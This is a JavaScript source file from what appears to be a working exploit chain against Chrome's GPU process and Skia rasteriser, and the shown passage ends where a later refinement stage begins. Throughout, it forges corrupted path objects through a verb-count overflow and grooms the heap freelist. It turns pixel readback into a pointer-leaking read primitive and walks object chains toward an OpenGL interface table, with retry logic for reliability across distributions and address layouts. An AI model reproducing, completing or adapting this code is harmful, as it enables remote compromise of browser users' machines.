// phase3.js — ③ WW cascade, ④ Sterbenz read, ⑤ arb-free→reclaim→trigger.
// Ports gpu_raster_buffer_provider.cc:1392-1707 1:1 (forge/probe/④b/④c/⑤a-c).
// One forge() = BeginRaster + Raster(cascade ~4.7MB) + mid() + EndRaster, all
// in one ring batch so the GPU sees ops-recorded → punch/soak → flush →
// PSCOp::onPrepare → GrCpuBuffer::Make(49184) reclaims TC[47] = victim−S.
'use strict';

// ─── constants (mirrors L436-543) ──────────────────────────────────────────
const CAS = Object.freeze({
  NoiseChunkContours: 200000,
  NoiseChunkRepeats:  3579,
  NoiseRemContours:   23102,        // (1431657142 − 400000·3579 − 10937 − 1)/2
  PayloadVbs:         10937,
  FillerN:            2728,
  RefCntFiller:       2727,         // T2729.p1.x → fRefCnt
  NoiseRemId:         0x70c00002,
  NoiseChkId:         0x70c00003,
  ReclaimN:           64,
  ReclaimId:          0x70cf0000,
  Wd: 640, Ht: 640,
});

// ─── float-bit helpers ─────────────────────────────────────────────────────
const __fb4 = new ArrayBuffer(4);
const __fbF = new Float32Array(__fb4);
const __fbU = new Uint32Array(__fb4);
function u32f(u) { __fbU[0] = u >>> 0; return __fbF[0]; }
function f32u(f) { __fbF[0] = f;       return __fbU[0]; }
function nextUpF32(f) { __fbF[0] = f; __fbU[0] += 1; return __fbF[0]; }
const MIN_NORMAL_F32 = u32f(0x00800000);              // FLT_MIN

// std::ilogb on the float whose IEEE bits are `bits`. Zero → −150 sentinel.
function ilogbBits(bits) {
  const neg = (bits >>> 31) === 1;
  const ab  = bits & 0x7fffffff;
  if (ab === 0) return {e: -150, neg};
  const exp = ab >>> 23;
  if (exp !== 0) return {e: exp - 127, neg};
  return {e: -118 - Math.clz32(ab & 0x7fffff), neg};
}

// enc(): bit_cast<float[2]>(uint64). Returns null if either half is NaN/Inf
// (~1/256 risk on the low-32 of a PA pointer).
function enc(addr) {
  const lo = u32f(Number(addr & 0xffffffffn));
  const hi = u32f(Number((addr >> 32n) & 0xffffffffn));
  return (Number.isFinite(lo) && Number.isFinite(hi)) ? [lo, hi] : null;
}

// ─── path builders ─────────────────────────────────────────────────────────
// PocMakeNoisePath duck-typed for PaintWriter.path(): contour 0 = (0,0)→
// (15.5,15.5), rest = (0,0)→(0,0). All 2-pt contours → 0 fan triangles, so
// only fTotalCombinedPathVerbCnt grows. Writes straight into SHM (no JS array).
function rawNoisePath(contours, close) {
  const npts = contours * 2;
  const nvbs = contours * 2 + (close ? 1 : 0);
  const raw  = 16 + npts * 8 + nvbs;
  const sz   = (raw + 3) & ~3;
  return {
    fill: FillType.kWinding, npts, nvbs,
    byteSize() { return sz; },
    writeInto(u8, off) {
      const base = u8.byteOffset + off;
      const dv = new DataView(u8.buffer, base);
      dv.setUint32(0,  (FillType.kWinding << 8) | 5, true);
      dv.setInt32 (4,  npts, true);
      dv.setInt32 (8,  0,    true);
      dv.setInt32 (12, nvbs, true);
      new Float32Array(u8.buffer, base + 16, npts * 2).fill(0);
      dv.setFloat32(16 + 8,  15.5, true);
      dv.setFloat32(16 + 12, 15.5, true);
      const vbase = base + 16 + npts * 8;
      new Uint16Array(u8.buffer, vbase, contours).fill(0x0100);   // {M=0,L=1}×N
      if (close) u8[off + 16 + npts * 8 + nvbs - 1] = Verb.Close;
      for (let p = raw; p < sz; ++p) u8[off + p] = 0;
      return sz;
    },
  };
}

// PocRceMakePayload (L563-612). 8203 pts, 10937 verbs.
function buildPayloadPath(Wlo, Whi, Vlo, Vhi, AFlo, AFhi) {
  const fSize  = u32f(2);
  const fUid   = u32f(4);
  const fCSM   = u32f(0x103);
  const fSeg   = u32f(1);
  const fOwn   = u32f(1);
  const fRef   = u32f(1);
  const b = new SkPathBuilder(FillType.kWinding);
  b.moveTo(0,0); b.lineTo(15,0); b.lineTo(15,15); b.lineTo(0,15); b.close();
  for (let i = 0; i < CAS.FillerN; ++i) {
    b.moveTo(0,0);
    b.lineTo(i === CAS.RefCntFiller ? fRef : 0, 0);
    b.lineTo(0,0); b.close();
  }
  b.moveTo(0,0);       b.lineTo(0,0);     b.lineTo(AFlo, AFhi); b.close();
  b.moveTo(0, fOwn);   b.lineTo(Wlo,Whi); b.lineTo(fSize, 0);   b.close();
  b.moveTo(0,0);       b.lineTo(0,0);     b.lineTo(Vlo, Vhi);   b.close();
  b.moveTo(fSize,0);   b.lineTo(0,0);     b.lineTo(15, 15);     b.close();
  b.moveTo(fUid,fCSM); b.lineTo(fSeg,0);  b.lineTo(0, 0);       b.close();
  if (b.verbs.length !== CAS.PayloadVbs)
    throw 'payload nvbs=' + b.verbs.length + ' ≠ ' + CAS.PayloadVbs;
  return b;
}

// PocRceBuildCascadeList (L634-682). `first`: noise paths kInlined; later
// forges send kCached so no new bucket-57344 SkPathData allocs touch the LIFO.
function writeCascade(pw, payload, noiseRem, noiseChk, first) {
  const aa = {aa: true, color: [1,1,1,1]};
  pw.drawPath(payload, aa, PCE.kInlinedDoNotCache);
  pw.drawPath(first ? noiseRem : {fill: FillType.kWinding}, aa,
              first ? PCE.kInlined : PCE.kCached, CAS.NoiseRemId);
  let tx = MIN_NORMAL_F32;
  for (let i = 0; i < CAS.NoiseChunkRepeats; ++i) {
    pw.setMatrix(m44Translate(tx, 0));
    if (i === 0 && first)
      pw.drawPath(noiseChk, aa, PCE.kInlined, CAS.NoiseChkId);
    else
      pw.drawPath({fill: FillType.kWinding}, aa, PCE.kCached, CAS.NoiseChkId);
    tx = nextUpF32(tx);
  }
}

// ─── driver ────────────────────────────────────────────────────────────────
async function phase3_4_5(ctx) {
  const {ring, si, handles, V, W, victimId, decoder} = ctx;
  let AF = ctx.AF;      // overwritten by ④w runtime walk unless ?gli_off=
  const mb = mailboxBytes(si.mailbox);
  const wd = CAS.Wd, ht = CAS.Ht;

  let consoleErr = null;
  cbcBinding.impl_.onConsoleMessage = m => {
    log('③+ OnConsoleMessage: ' + m); consoleErr = m;
  };

  // V byte-pair fallback: REPORT.md §13F claims decoder+0xc0 reliably holds
  // {kMove,kLine}={0x00,0x01}, but this is build/runtime-fragile — GpuPreferences
  // fields at that offset can flip on different distros (e.g., teammate's
  // Ubuntu 24.04 + kernel 6.8 vs our CachyOS + kernel 7.0+). If the primary
  // offset doesn't have valid verb bytes, the corrupted victim's SkPath::Iter
  // reads garbage verbs and Skia treats the path as empty → all probes dark=0.
  // Multi-offset retry: try 4 plausible offsets within RasterDecoderImpl across
  // attempts; one of them likely lands on a {0x00,0x01} byte-pair.
  const V_OFFSETS = [0xc0n, 0xc8n, 0xd0n, 0xb8n];
  let Venc = enc(V);
  if (!Venc) throw '③ V NaN-encodes (1/256 unlucky); rerun';

  // Dedicated transfer pools (registered up front so their BufferBacking
  // allocs don't fall between punch and EndRaster).
  const xfer3  = new XferPool(ring.cb, 0x500000);     // cascade stream (~4.7MB)
  const xferRl = new XferPool(ring.cb, 0x400);         // probe read-list (~200B)
  const xferRb = new XferPool(ring.cb, 8 + wd*ht*4);   // readback shm
  const xfer5  = new XferPool(ring.cb, RCE.GLIfaceSize + 16);
  const rb     = xferRb.alloc(8 + wd*ht*4, 8);
  const rbPx   = new Uint32Array(rb.u8.buffer, rb.u8.byteOffset + 8, wd*ht);

  // Static across forge() calls — built once.
  const noiseRem = rawNoisePath(CAS.NoiseRemContours, true);
  const noiseChk = rawNoisePath(CAS.NoiseChunkContours, false);
  log('③ noise sizes: rem=' + noiseRem.byteSize() + 'B chk=' +
      noiseChk.byteSize() + 'B (' + noiseChk.nvbs + ' verbs ×' +
      CAS.NoiseChunkRepeats + ')');

  // forge(): one cascade flush. mid() runs between Raster and EndRaster.
  //
  // Pin/unpin cycle (④w prerequisite — re-forge stability):
  //   GrBufferAllocPool::CpuBufferCache only retains size==kDefaultBufferSize
  //   (32768); the cascade's 49184B GrCpuBuffer is freed every flush. So S₉₅
  //   sits exposed on the bucket-57344 LIFO across each `await finish()`, and
  //   browser-UI compositor traffic buries/steals it before the next forge
  //   (observed: 3/4 SIGSEGV/SIGILL, 1/4 silent miss). Fix: hold S₉₅ in a
  //   RawMemory TC entry between forges. Each forge() deletes the current pin
  //   (pushes S₉₅ to LIFO top) just before EndRaster, then re-creates it just
  //   after (pops S₉₅ back) — both in the same ring batch, so no foreign
  //   channel can interleave. First forge's "pin" is ②b's TC[PunchIdx].
  let firstForge = true;
  let pinId  = RCE.IdBase + RCE.PunchIdx;   // = TC[95] until first re-pin
  let pinSeq = 0x70e00000;
  function forge(Wt, AFt, mid) {
    const Wenc = enc(Wt);
    const Aenc = AFt === 0n ? [0,0] : enc(AFt);
    if (!Wenc || !Aenc) { log('③   forge: W/AF NaN-encodes, skip'); return false; }
    const payload = buildPayloadPath(Wenc[0], Wenc[1], Venc[0], Venc[1],
                                     Aenc[0], Aenc[1]);
    xfer3.reset();
    const cs = xfer3.alloc(firstForge ? 0x4f0000 : 0xc0000, 16);
    const pw = new PaintWriter(cs);
    writeCascade(pw, payload, noiseRem, noiseChk, firstForge);
    log('③   forge cascade: ' + pw.size() + 'B' +
        (firstForge ? ' (first; noise kInlined)' : ' (noise kCached)') +
        '  unpin TC[0x' + pinId.toString(16) + ']');
    firstForge = false;
    ring.beginRaster([0,0,0,0], 1, 0, MsaaMode.kNoMSAA, 0, 1, 1.0, mb);
    ring.raster(cs.shmId, cs.offset, pw.size());
    ring.deleteTransferCacheEntry(kTCRawMemory, pinId);
    mid();
    ring.endRaster();
    pinId = pinSeq++;
    const ph = handles.next();
    ring.createTransferCacheEntry(kTCRawMemory, pinId,
        ph.shmId, ph.offset, ctx.xfer2.shmId, 0, RCE.SpraySize);
    return true;
  }

  // probe(): PocRceBuildReadList + ReadbackARGBImagePixels + dark-centroid.
  // Inverse-fill white on black ⇒ hole at the rect; weight = 255−R.
  async function probe(Sx, Tx, Sy, Ty, sw) {
    xferRl.reset();
    const rl = xferRl.alloc(0x200, 16);
    const pw = new PaintWriter(rl);
    pw.save();
    pw.concat(m44TS(Tx, Ty, Sx, Sy));
    pw.drawPath({fill: FillType.kInverseWinding},
                {aa: true, color: [1,1,1,1], style: 1, width: sw, cap: 0},
                PCE.kCached, victimId);
    pw.restore();
    ring.beginRaster([0,0,0,1], 1, 0, MsaaMode.kNoMSAA, 0, 1, 1.0, mb);
    ring.raster(rl.shmId, rl.offset, pw.size());
    ring.endRaster();
    rb.u32[0] = 0;
    ring.readbackARGB(0, 0, 0, wd, ht, wd*4, /*RGBA8888*/4, /*Premul*/2,
                      rb.shmId, rb.offset, /*csOff*/8, /*pxOff*/8, mb);
    const st = await ring.finish();
    if (st.error || rb.u32[0] === 0) {
      log('④   probe: cb_err=' + st.error + ' rb_result=' + rb.u32[0]);
      return {x: NaN, y: NaN, dark: -1};
    }
    let wsum = 0, sx = 0, sy = 0, dark = 0;
    let mnx = wd, mxx = -1, mny = ht, mxy = -1;
    for (let y = 0; y < ht; ++y) for (let x = 0; x < wd; ++x) {
      const r = rbPx[y*wd + x] & 0xff;
      if (r >= 248) continue;
      const w = 255 - r; wsum += w; ++dark;
      sx += w*(x+0.5); sy += w*(y+0.5);
      if (x<mnx) mnx=x; if (x>mxx) mxx=x; if (y<mny) mny=y; if (y>mxy) mxy=y;
    }
    const sane = dark > 0 && dark < 4096;
    const c = {x: sane ? sx/wsum : NaN, y: sane ? sy/wsum : NaN,
               mny, mxy, dark};
    log('④   Sx=2^' + Math.round(Math.log2(Sx)) + ' Tx=' + Tx.toPrecision(7) +
        ' Sy=2^' + Math.round(Math.log2(Sy)) + ' Ty=' + Ty +
        ' → dark=' + dark + ' bbox=[' + mnx + ',' + mny + ']..[' +
        mxx + ',' + mxy + '] c=(' + c.x.toFixed(4) + ',' + c.y.toFixed(4) + ')');
    return c;
  }

  // ─── ④w c1-read primitive (s1+s4; see docker_probe/test_c1_shift.html) ───
  // Forward-fill (kWinding) bright-pixel probe of the forged {M,L} line. Unlike
  // probe(), this does NOT rely on simplifyStroke's P0.x==P1.x rect path; the
  // s1/s4 fPts shifts pick framings where the line is structurally horizontal
  // (s1) or vertical (s4) in device space, so drawStrokedLine's quad is well-
  // conditioned regardless of the unknown neighbor bytes (the #30c blocker).
  const fr = Math.fround;
  const CXc = wd/2, CYc = ht/2;
  const poolHi = Number((decoder >> 32n) & 0xffffn);
  let nC1Forge = 0, nC1Probe = 0;

  // kInverseWinding (NOT kWinding): the forged victim's fBounds is hard-wired
  // to [0,15]² by buildPayloadPath (those floats double as fan vertices and
  // must stay ≤15 for AtlasPR), so under kWinding SkCanvas::onDrawPath
  // quickReject's whenever the inflated [0,15]² maps off-canvas — which is
  // every refine step (|Td|»wd). Inverse fill skips quickReject; we count DARK
  // pixels (the line) instead of bright. Geometry is otherwise identical.
  async function probeC1(Sx, Sy, Tx, Ty, sw) {
    ++nC1Probe;
    xferRl.reset();
    const rl = xferRl.alloc(0x200, 16);
    const pw = new PaintWriter(rl);
    pw.save();
    pw.concat(m44TS(Tx, Ty, Sx, Sy));
    pw.drawPath({fill: FillType.kInverseWinding},
                {aa: true, color: [1,1,1,1], style: 1, width: sw, cap: 0},
                PCE.kCached, victimId);
    pw.restore();
    ring.beginRaster([0,0,0,1], 1, 0, MsaaMode.kNoMSAA, 0, 1, 1.0, mb);
    ring.raster(rl.shmId, rl.offset, pw.size());
    ring.endRaster();
    rb.u32[0] = 0;
    ring.readbackARGB(0, 0, 0, wd, ht, wd*4, 4, 2, rb.shmId, rb.offset, 8, 8, mb);
    const st = await ring.finish();
    if (st.error || rb.u32[0] === 0) return {err: 'cb=' + st.error};
    let ws=0, sx=0, sy=0, n=0, mnx=wd, mxx=-1, mny=ht, mxy=-1;
    for (let y = 0; y < ht; ++y) for (let x = 0; x < wd; ++x) {
      const r = rbPx[y*wd + x] & 0xff;
      if (r >= 248) continue;
      const w = 255 - r;
      ws+=w; sx+=w*(x+0.5); sy+=w*(y+0.5); ++n;
      if(x<mnx)mnx=x; if(x>mxx)mxx=x; if(y<mny)mny=y; if(y>mxy)mxy=y;
    }
    if (n === 0 || n > wd*ht-64) return {err: n ? 'all-dark' : 'no-dark'};
    return {cx: sx/ws, cy: sy/ws, n, mnx, mxx, mny, mxy};
  }

  // s1: forge fPts=T−1 (ZA) / T−9 (ZB) → P0.x bits = b2<<24|b1<<16|b0<<8,
  //     P0.y top byte = T.b6 = 0 → denormal → strip horizontal at y=Ty.
  //     X-ladder + clip-corrected refine recovers b0,b1,b2 to full precision.
  async function c1_s1(fpt) {
    ++nC1Forge;
    if (!forge(fpt, 0n, () => {})) return null;
    const Tx0 = 40, Ty = CYc;
    let lo = 2, hi = 253, hS = null, hR = null;
    for (let step = 0; step < 10; ++step) {
      const e = (lo+hi) >> 1, Sx = fr(Math.pow(2, 135-e));
      if (!isFinite(Sx)) { lo = e+1; continue; }
      const r = await probeC1(Sx, Sx, Tx0, Ty, fr(8/Sx));
      log('④w     s1.lad e=' + e + ' Sx=2^' + (135-e) + ' → ' +
          (r.err ? r.err : 'n=' + r.n + ' x[' + r.mnx + ',' + r.mxx +
                           '] y[' + r.mny + ',' + r.mxy + ']'));
      if (r.err) { hi = e-1; continue; }
      const len = Math.max(r.mxx - Tx0, Tx0 - r.mnx);
      if (len < 12)                   { hi = e-1; continue; }
      if (r.mxx >= wd-1 || r.mnx <= 0){ lo = e+1; continue; }
      hS = Sx; hR = r; break;
    }
    if (hS === null) for (let e = lo; e <= hi && hS === null; ++e) {
      const Sx = fr(Math.pow(2, 135-e)); if (!isFinite(Sx)) continue;
      const r = await probeC1(Sx, Sx, Tx0, Ty, fr(8/Sx));
      log('④w     s1.lin e=' + e + ' → ' +
          (r.err ? r.err : 'x[' + r.mnx + ',' + r.mxx + ']'));
      if (!r.err && r.mxx < wd-1 && r.mnx > 0) { hS = Sx; hR = r; }
    }
    // Floor: e≤7 ⇒ Sx=2^(135−e)≥2^128 overflows f32 → ladder MISSes; OR e∈[8,13]
    // ⇒ ladder accepts but refine d=6 (Sd=hS·2^6) overflows so est stays at the
    // ~1px coarse guess and f32u() returns garbage b1/b0. Either way b2∈{0..6,
    // 0x80..0x86} (~5%). Return the Sx=2^127 probe so c1read can fall back to
    // the T−2 framing (exp≈b1) and nearest-match b2 from this px extent.
    if (hS === null || !isFinite(fr(hS * 64))) {
      log('④w     s1 FLOOR lo=' + lo + ' hi=' + hi + ' hS=' +
          (hS ? '2^' + Math.round(Math.log2(hS)) : 'null'));
      const fS = hS || fr(Math.pow(2,127));
      const r = hS ? hR : await probeC1(fS, fS, Tx0, Ty, fr(8/fS));
      if (r && !r.err && r.n > 0) return {floor: r, Tx0, fS};
      return null;
    }
    const neg = hR.mnx < Tx0-4;
    let est = ((neg ? hR.mnx : hR.mxx) + 0.5 - Tx0) / hS;
    for (const d of [6, 11, 15]) {
      const Sd = fr(hS * Math.pow(2, d)); if (!isFinite(Sd)) break;
      const Td = fr(CXc - est*Sd);
      const r = await probeC1(Sd, Sd, Td, Ty, fr(8/Sd));
      if (r.err) { log('④w     s1.ref d=' + d + ' ' + r.err); continue; }
      est = (2*r.cx - (neg ? wd : 0) - Td) / Sd;
      log('④w     s1.ref d=' + d + ' n=' + r.n + ' x[' + r.mnx + ',' + r.mxx +
          '] cx=' + r.cx.toFixed(3) + ' est=0x' +
          f32u(fr(est)).toString(16).padStart(8,'0'));
    }
    return (f32u(fr(est)) + 0x80) & 0xffffff00;
  }

  // s4: forge fPts=T−4 (ZA) / T−12 (ZB) → both P*.x have top16=0 (framing
  //     zeros) → denormal → strip vertical. One P*.y = u32f(b3b2b1b0), other
  //     = 0. With b0..b2 known, |Y(b3)| candidates are ≥1.7× apart; one mxy
  //     measurement at S=Smax pins b3 by nearest-match. S/=4 retry if clipped.
  async function c1_s4(fpt, b0, b1, b2) {
    ++nC1Forge;
    if (!forge(fpt, 0n, () => {})) return null;
    const Yc = b3 => u32f(((b3<<24)|(b2<<16)|(b1<<8)|b0) >>> 0);
    let S = fr(3.0e38), Ty0 = 40;
    for (let t = 0; t < 64; ++t) {
      const r = await probeC1(S, S, CXc, Ty0, fr(40/S));
      if (r.err) return 0;
      if (r.mxy >= ht-1 || r.mny <= 0) { S = fr(S/4); Ty0 = CYc; continue; }
      const neg = r.mny < Ty0-4;
      const Ym = ((neg ? r.mny : r.mxy) + 0.5 - Ty0) / S;
      let best = 0, bd = Infinity;
      for (let c = 0; c < 256; ++c) {
        const d = Math.abs(Math.abs(Yc(c)) - Math.abs(Ym));
        if (d < bd) { bd = d; best = c; }
      }
      return best;
    }
    return null;
  }

  // c1read(T, zb): recover the 48-bit pointer stored at *T. ZB shifts fPts an
  // extra −8 so the all-zero qword at T−8 fills the OTHER SkPoint (P0↔P1 swap;
  // centroid/clip-correction symmetric). b4,b5 taken from decoder>>32 — every
  // hop target lives in the same PA pool, verified across 6 envs (#30a/task#4).
  async function c1read(T, zb, nm, b3p) {
    const sh = zb ? 8n : 0n;
    let s1b = await c1_s1(T - 1n - sh);
    if (s1b === null) throw '④w s1 MISS @' + nm + '=' + hex(T);
    let b0, b1, b2;
    if (typeof s1b === 'number') {
      b0 = (s1b>>>8)&0xff; b1 = (s1b>>>16)&0xff; b2 = (s1b>>>24)&0xff;
    } else {
      // b2-degenerate fallback: re-frame at T−2 → P?.x=[*(T−2),*(T−1),b0,b1].
      // ZA hops have *(T−2..T−1)=0 (prev field is a 48-bit ptr, top16=0); ZB
      // has the whole T−8..T−1 qword zero. Either way exp≈b1 — uniformly
      // distributed, refines normally. Then pick b2 from the 8 floor
      // candidates by nearest |px| at Sx=2^127 (4× spacing).
      log('④w   ' + nm + ': b2 degenerate → T−2 fallback');
      const s1c = await c1_s1(T - 2n - sh);
      if (s1c === null || typeof s1c !== 'number')
        throw '④w T−2 fallback also floors @' + nm + ' (b1 degen too; rerun)';
      b0 = (s1c>>>16)&0xff; b1 = (s1c>>>24)&0xff;
      const r = s1b.floor, neg = r.mnx < s1b.Tx0-4;
      const px = neg ? s1b.Tx0 - r.mnx : r.mxx - s1b.Tx0;
      let best = -1, bd = Infinity;
      for (let lo3 = 0; lo3 < 8; ++lo3) {
        const c = (neg ? 0x80 : 0) | lo3;
        const pred = Math.abs(u32f(((c<<24)|(b1<<16)|(b0<<8))>>>0)) * s1b.fS;
        const d = Math.abs(Math.log2(pred + 1e-30) - Math.log2(px + 0.5));
        if (d < bd) { bd = d; best = c; }
      }
      b2 = best;
      log('④w   ' + nm + ': T−2 → b0=' + b0.toString(16) + ' b1=' +
          b1.toString(16) + '  e8 px=' + px + (neg?' neg':' pos') +
          ' → b2=' + b2.toString(16));
    }
    if (b2 === 0 || b2 === 0x7f || b2 === 0x80 || b2 === 0xff)
      throw '④w degenerate b2=0x' + b2.toString(16) + ' @' + nm + ' (1.6%; rerun)';
    const b3 = b3p ?? await c1_s4(T - 4n - sh, b0, b1, b2);
    if (b3 === null) throw '④w s4 MISS @' + nm;
    return (BigInt(poolHi)<<32n) | (BigInt(b3)<<24n) |
           (BigInt(b2)<<16n) | (BigInt(b1)<<8n) | BigInt(b0);
  }

  // 8-hop chain: every offset is a build-constant struct field (relink-stable
  // like Vo1/Mkdir), every framing verified ZA/ZB-clean across host + 4 distros.
  // Col 4 (b3Δ): all GPU-init objects live in one 16MB region so b3 is shared;
  // measure it at scs (first init-time alloc reached; null=do s4), predict for
  // the rest (Δ from scs.b3). qm/quadbuf are late-alloc → re-measure. 16→11
  // forges, −17s. Opt-in via ?walk=pred (default is full per-hop s4).
  const C1_HOPS = [
    ['qm',      0x1b0n, 0, null],  // dec    +0x1b0 → qm        ZA  late-alloc, s4
    ['scs',     0x098n, 1, null],  // qm     +0x098 → scs       ZB  s4 → b3base
    ['grctx',   0x0a8n, 0, 0   ],  // scs    +0x0a8 → grctx     ZA
    ['resprov', 0x090n, 0, 0   ],  // grctx  +0x090 → resprov   ZA
    ['quadbuf', 0x018n, 0, null],  // resprov+0x018 → quadbuf   ZA  late-alloc, s4
    ['glgpu',   0x080n, 1, 0   ],  // quadbuf+0x080 → glgpu     ZB
    ['glctx',   0x080n, 1, 0   ],  // glgpu  +0x080 → glctx     ZB
    ['glif',    0x008n, 0, 0   ],  // glctx  +0x008 → glif      ZA
  ];

  // 6-hop variant: skips the GrResourceProvider + fQuadIndexBuffer intermediates
  // by reading the cached GrGLGpu* directly from GrDirectContext at +0x080. The
  // +0x080 field is a build-constant Skia back-pointer to the same GrGLGpu that
  // the long chain reaches via the ownership path. Framing: grctx+0x078 holds a
  // 48-bit pool pointer (top 16 bits zero) so the +0x080 hop is ZA-clean. 12
  // forges vs 16 for C1_HOPS. Verified on the host build only — broader distro
  // matrix not re-run for this variant. Opt-in via ?walk=short.
  const SHORT_HOPS = [
    ['qm',      0x1b0n, 0, null],  // dec    +0x1b0 → qm        ZA  late-alloc, s4
    ['scs',     0x098n, 1, null],  // qm     +0x098 → scs       ZB  s4 → b3base
    ['grctx',   0x0a8n, 0, 0   ],  // scs    +0x0a8 → grctx     ZA
    ['glgpu',   0x080n, 0, 0   ],  // grctx  +0x080 → glgpu     ZA  direct (skip resprov+quadbuf)
    ['glctx',   0x080n, 1, 0   ],  // glgpu  +0x080 → glctx     ZB
    ['glif',    0x008n, 0, 0   ],  // glctx  +0x008 → glif      ZA
  ];

  const ULTRA_SHORT_HOPS = [
    ['qm',      0x1b0n, 0, null],  // dec    +0x1b0 → qm        ZA  late-alloc, s4
    ['scs',     0x098n, 1, null],  // qm     +0x098 → scs       ZB  s4 → b3base
    ['glctx',   0x130n, 0, 0   ],  // scs    +0x130 → glctx     ZA  
    ['glif',    0x008n, 0, 0   ],  // glctx  +0x008 → glif      ZA
  ];

  // ─── e_y candidates from Vo1 (L1443-1459) ────────────────────────────────
  const vo2lo = Number((RCE.Vo1 + 0x260n) & 0xffffn);
  const eyc = [];
  for (let k = 0; k < 16; ++k) {
    const lo = ((k << 12) + vo2lo) & 0xffff;
    const bits = (((lo >> 8) << 24) | ((lo & 0xff) << 16)) >>> 0;
    const {e} = ilogbBits(bits);
    if (!eyc.includes(e)) eyc.push(e);
  }
  eyc.sort((a,b) => b - a);
  log('④ e_y candidates (vo2_lo=0x' + vo2lo.toString(16) + '): ' + eyc.join(' '));

  // ?settle=N: sleep N ms before the first forge (gdb-attach window for #8
  // instrumentation). Originally hypothesised as a DC-startup-transient fix;
  // ruled out (8/12 either way). Kept for debugging.
  const settle = +new URLSearchParams(location.search).get('settle');
  if (settle) { log('③ settle ' + settle + 'ms'); await sleep(settle); }

  // ?warmup=1: raster the cascade's path *types* once without the overflow and
  // without unpinning S₉₅, then drain mesa's background queues.
  // Root cause of the headless ~35% FAIL (#8): the cascade's first encounter
  // with each Ganesh program (PathStencilCoverOp, AtlasPathRenderer) makes
  // mesa's *background* threads malloc into bucket-57344 — `chrome:disk$0`
  // zstd-decompresses cached shader binaries (~45-55KB each), or `chrome:sh*`
  // compile fresh if cache-cold. Bucket-57344 > PA thread-cache ceiling, so
  // those allocs hit the same central freelist S₉₅ sits on and steal it during
  // the deleteTCE→endRaster→createTCE window. gdb-confirmed (libzstd.so on
  // thr≠GpuMain); MESA_SHADER_CACHE_DISABLE made it *worse* (12 sh threads vs
  // 1 disk$0). Front-loaded (forge#1-7 only) because all programs are resident
  // after that. Warmup = payload + noiseRem + 1× noiseChk (no 3579× ⇒ no
  // fTotalCombinedPathVerbCnt overflow ⇒ no OOB). kInlinedDoNotCache: must NOT
  // touch the paint cache or flip firstForge — registering NoiseRem/ChkId here
  // makes forge#1's kInlined re-register free-then-realloc the cached SkPathData
  // mid-raster, perturbing the bucket-57344 LIFO forge#1 was tuned for (4/12
  // forge#1 Connection-error when an earlier rev set firstForge=false here).
  if (+new URLSearchParams(location.search).get('warmup')) {
    log('③ warmup: benign payload+noise raster (compile Ganesh programs)…');
    const wPayload = buildPayloadPath(Venc[0], Venc[1], Venc[0], Venc[1], 0, 0);
    xfer3.reset();
    const wcs = xfer3.alloc(0x4f0000, 16);
    const wpw = new PaintWriter(wcs);
    const aa = {aa: true, color: [1,1,1,1]};
    wpw.drawPath(wPayload, aa, PCE.kInlinedDoNotCache);
    wpw.drawPath(noiseRem, aa, PCE.kInlinedDoNotCache);
    wpw.setMatrix(m44Translate(MIN_NORMAL_F32, 0));
    wpw.drawPath(noiseChk, aa, PCE.kInlinedDoNotCache);
    ring.beginRaster([0,0,0,0], 1, 0, MsaaMode.kNoMSAA, 0, 1, 1.0, mb);
    ring.raster(wcs.shmId, wcs.offset, wpw.size());
    ring.endRaster();
    await ring.finish();
    await sleep(500);            // mesa disk$0 / sh* drain
    log('③ warmup done (' + wpw.size() + 'B)');
  }

  // ─── ③+④a — cascade with retry-on-miss (L1489-1564) ──────────────────────
  // Sx0 candidate ladder. Round-0 hardcoded Sx0=2^-38 only works when P0.x's
  // float exponent is ~44, which holds for chrome_base[5] ≈ 0x55-0x57. On
  // higher-byte ASLR (e.g., teammate observed chrome_base[5]=0x5f → exp 64),
  // 2^-38 maps P0.x off-canvas and every probe returns dark=0. The scan
  // covers chrome_base[5] ∈ [0x55, 0x67] = float exp [43, 80].
  const SX0_LADDER = [2**-38, 2**-46, 2**-54, 2**-30, 2**-62];
  let est = 0, ey_hit = 0, Sy = 0, cy0 = 0, ok = false;
  let Sx0_hit = 2**-38;       // remember which Sx0 worked; refinement scales off it
  let soakId = RCE.IdBase + RCE.SprayN + RCE.CushionN;
  log('③ victim cached. Begin cascade (≤4 attempts, varying V)…');
  for (let attempt = 0; attempt < 4 && !ok; ++attempt) {
    // Each attempt tries a different V offset so a wrong {kMove,kLine} byte
    // pair on attempt 0 isn't fatal; one of these four offsets is very likely
    // to hit valid verb bytes in the GpuPreferences/RasterDecoderImpl region.
    const V_try = decoder + V_OFFSETS[attempt];
    const Vtry_enc = enc(V_try);
    if (!Vtry_enc) {
      log('③ attempt ' + attempt + ' V=' + hex(V_try) + ' NaN-encodes, skip');
      continue;
    }
    Venc = Vtry_enc;  // forge() captures Venc by closure; this swap takes effect
    log('③ attempt ' + attempt + ' V = decoder + ' + hex(V_OFFSETS[attempt]));
    // Punch/soak now handled by forge()'s internal pin/unpin cycle (see above).
    // The old per-attempt soak (createTC in mid()) was wrong anyway: it would
    // EAT S₉₅ off the LIFO top instead of exposing it. With pin/unpin, retry
    // attempt N deletes the pin attempt N-1 created → S₉₅ back on top → same
    // slot, new V_OFFSETS[N].
    forge(W, AF, () => {});
    // ④ round 0: 2-D scan over (Sx0_candidate, e_y_candidate). Stops at first
    // HIT. Most environments hit on Sx0=2^-38 with one of the early e_y
    // candidates (≤8 probes). Higher-byte chrome_base ASLR may need Sx0
    // down to 2^-58/62 — total ≤40 probes worst case.
    let gone = true;
    SX0_LOOP:
    for (const Sx0 of SX0_LADDER) {
      for (const e of eyc) {
        const sy = 2 ** (4 - e);
        const c = await probe(Sx0, 0, sy, 320, 4 / Sx0);
        if (c.dark < wd*ht) gone = false;
        if (Number.isFinite(c.x)) {
          Sy = sy; ey_hit = e; cy0 = c.y;
          est = c.x / Sx0;
          Sx0_hit = Sx0;
          ok = true;
          log('④ round 0 HIT Sx0=2^' + Math.round(Math.log2(Sx0)) +
              ' e_y=' + e + ' Sy=2^' + (4-e) + ' cy=' +
              c.y.toFixed(3) + ' est=' + est.toExponential(9) + ' (0x' +
              f32u(est).toString(16).padStart(8,'0') + ')');
          break SX0_LOOP;
        }
      }
    }
    if (!ok) {
      if (gone) { log('③ attempt ' + attempt + ' ALL-BLACK — victim absent — abort'); break; }
      log('③ attempt ' + attempt + ' MISS — ' + (attempt<3 ? 'soak+retry' : 'give up'));
    }
  }
  if (!ok) throw '③ FAILED — abort';
  if (consoleErr) throw '③ GPU rejected: ' + consoleErr;

  // ─── ④b rounds 1-3: Sterbenz refine (L1574-1598) ─────────────────────────
